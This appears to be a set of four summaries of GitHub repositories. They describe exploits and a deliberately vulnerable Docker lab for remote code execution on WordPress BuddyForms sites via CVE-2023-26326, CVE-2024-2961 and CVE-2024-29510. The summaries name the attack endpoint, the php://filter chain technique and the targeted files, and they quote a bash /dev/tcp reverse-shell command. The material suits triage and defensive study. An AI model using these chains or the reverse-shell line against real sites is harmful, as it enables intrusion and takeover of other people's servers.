Unauthenticated Insecure Deserialization in BuddyForms WordPress Plugin

This repository is a vulnerable WordPress lab plus exploit material for two RCE chains: CVE-2024-2961 (glibc iconv/CNEXT PHP file-read to RCE) and CVE-2024-29510 (Ghostscript format-string to RCE). It is not just a standalone exploit; most of the repository builds a reproducible Docker environment that intentionally installs vulnerable components and exposes reachable web endpoints. Repository structure: the top level contains deployment/cleanup automation (setup.sh, clean.sh), two Docker Compose definitions for local and production-style labs, nginx configs, and a wordpress/ build context. The wordpress/ directory contains Dockerfiles that pin Ubuntu 22.04 with glibc 2.35, install WordPress, BuddyForms 2.7.6, PHP-FPM, and Ghostscript 10.02.1, plus entrypoint scripts that auto-configure the site. A custom mu-plugin adds an unauthenticated AJAX action convert_ps_to_image that accepts PS/EPS/PDF uploads, stores them under wp-content/uploads, and invokes ghostscript on them. Nginx is configured to expose uploads with autoindex enabled. Main exploit capabilities: the Python file exploit/cve=2024-2961.py is the primary exploit code. It adapts the public CNEXT technique to a WordPress AJAX endpoint by POSTing to /wp-admin/admin-ajax.php with action=upload_image_from_url. It uses a long php://filter iconv/base64 chain to turn a file-read primitive into disclosure of sensitive files such as /proc/self/maps and libc, then performs heap-oriented exploitation to execute an attacker-supplied command. This is a real exploit, not a detector. The included markdown exploit/cve-2024-29510.md is more of an operator note than code; it documents using a Metasploit Ghostscript module to generate a malicious PostScript file and then uploading it to the repository’s custom AJAX endpoint to obtain a reverse Meterpreter shell. Notable targeting details: the lab explicitly references WordPress, BuddyForms 2.7.6, glibc 2.35, and Ghostscript 10.02.1. The Docker setup intentionally enables risky conditions such as allow_url_fopen, PS/EPS/PDF processing, apparmor=unconfined, and extra Linux capabilities. Overall purpose: provide a realistic Ubuntu/WordPress environment for demonstrating how a web-exposed file-read primitive and a Ghostscript file-conversion feature can be chained into remote code execution.

This repository is a small, focused Python exploit project containing a README, one main exploit script, and a minimal requirements file. The core file, buddyforms_2.7.7_cnext_exploit.py, is a standalone exploit adapted from the CNEXT PHP file-read-to-RCE technique and tailored to BuddyForms 2.7.7 on WordPress. It is not part of a major exploitation framework. The exploit targets a vulnerable WordPress AJAX endpoint, typically /wp-admin/admin-ajax.php, using the BuddyForms action upload_image_from_url. The Remote helper class sends crafted POST requests with parameters action, url, id, and accepted_files. The url parameter is abused with a long php://filter chain containing multiple convert.iconv and base64 transformations. This is used first as a file-read primitive and then as the delivery mechanism for the final exploitation payload. Capabilities observed in the code include: arbitrary file retrieval from the target via php://filter/convert.base64-encode/resource=..., downloading sensitive process information such as /proc/self/maps, obtaining libc-related data for memory layout calculations, heap manipulation helpers for chunk shaping/compression/chunked encoding, and final remote code execution. The script constructs a reverse shell command automatically from attacker-supplied lhost and lport values: bash -c "bash -i >& /dev/tcp/{lhost}/{lport} 0>&1". The repository structure is simple: README.md documents usage and references a blog post; requirements.txt lists ten and pwntools; the Python script contains the exploit logic, helper routines for encoding/compression/chunk construction, a Remote class for HTTP interaction, and an Exploit dataclass used as the main entry point. Based on the included reverse shell payload and end-to-end exploitation logic, this is an operational exploit rather than a mere detector or proof-of-concept.

This repository contains a Python exploit script (exploit.py) targeting a chain of vulnerabilities in WordPress sites using the BuddyForms plugin (CVE-2023-26326 and CVE-2024-2961). The exploit leverages insecure deserialization and PHP filter chain abuse to achieve remote code execution (RCE) on WordPress installations running PHP 8.3.x with BuddyForms <2.7.8. The main attack vector is a crafted POST request to the /wp-admin/admin-ajax.php endpoint, exploiting the 'upload_image_from_url' action to inject a malicious filter chain via the 'url' parameter. The exploit can read arbitrary files (e.g., /etc/passwd, /proc/self/maps) and ultimately execute arbitrary shell commands, typically resulting in a reverse shell to the attacker's machine. The repository includes a README.md with detailed usage instructions and a requirements.txt for dependencies. The exploit is operational, requiring some manual setup (e.g., netcat listener, attacker IP/port), and demonstrates advanced exploitation techniques such as filter chain construction and bypassing file type checks. No detection scripts or fake code are present; the code is a functional exploit.

This repository provides a working exploit for chaining two vulnerabilities: CVE-2023-26326 (WordPress BuddyForms Plugin insecure deserialization) and CVE-2024-2961 (glibc iconv RCE in PHP). The exploit is implemented in Python (exploit.py) and is designed to achieve remote code execution (RCE) on WordPress sites running the vulnerable BuddyForms plugin (version <2.7.8) on PHP 8.3.x. The exploit works by sending a specially crafted HTTP POST request to the /wp-admin/admin-ajax.php endpoint, abusing the 'upload_image_from_url' action to inject a PHP filter chain via the 'url' parameter. This allows the attacker to read arbitrary files and ultimately execute arbitrary commands, typically resulting in a reverse shell to the attacker's machine. The exploit script is operational and requires the attacker to provide the target URL and a shell command. The repository includes a README with detailed usage instructions, a requirements.txt for dependencies, and a .gitignore. The main entry point is exploit.py, which contains all the exploit logic, including file read and command execution primitives. The exploit is not part of a framework and is a standalone operational exploit.